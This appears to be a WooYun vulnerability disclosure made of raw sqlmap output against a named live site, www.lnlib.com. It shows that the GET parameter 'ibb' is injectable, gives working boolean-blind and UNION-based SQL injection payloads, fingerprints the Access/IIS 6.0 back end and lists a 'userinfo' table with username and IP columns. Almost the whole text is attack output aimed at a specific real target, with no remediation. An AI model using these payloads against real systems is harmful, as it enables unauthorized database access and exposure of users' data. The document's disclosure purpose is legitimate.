WooYun.org

GET parameter 'ibb' is vulnerable. Do you want to keep testi
ng the others (if any)? [y/N]
sqlmap identified the following injection points with a tota
l of 21 HTTP(s) requests:
---
Parameter: ibb (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ibb=72756 AND 1396=1396
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: ibb=-4449 UNION ALL SELECT NULL,NULL,NULL,NULL,
CHR(113)&CHR(112)&CHR(112)&CHR(112)&CHR(113)&CHR(121)&CHR(98
)&CHR(82)&CHR(112)&CHR(121)&CHR(73)&CHR(86)&CHR(86)&CHR(89)&
CHR(111)&CHR(113)&CHR(120)&CHR(112)&CHR(98)&CHR(113),NULL,NU
LL,NULL FROM MSysAccessObjects%16
---
[13:05:54] [INFO] testing Microsoft Access
[13:05:54] [INFO] confirming Microsoft Access
[13:05:55] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[13:05:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 11 times
[13:05:55] [INFO] fetched data logged to text files under 'C
:\Users\DarkWing\.sqlmap\output\www.lnlib.com'

Database: Microsoft_Access_masterdb
[1 table]
+----------+
| userinfo |
+----------+

Database: Microsoft_Access_masterdb
Table: userinfo
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| data     | non-numeric |
| id       | numeric     |
| title    | non-numeric |
| userip   | non-numeric |
| username | non-numeric |
+----------+-------------+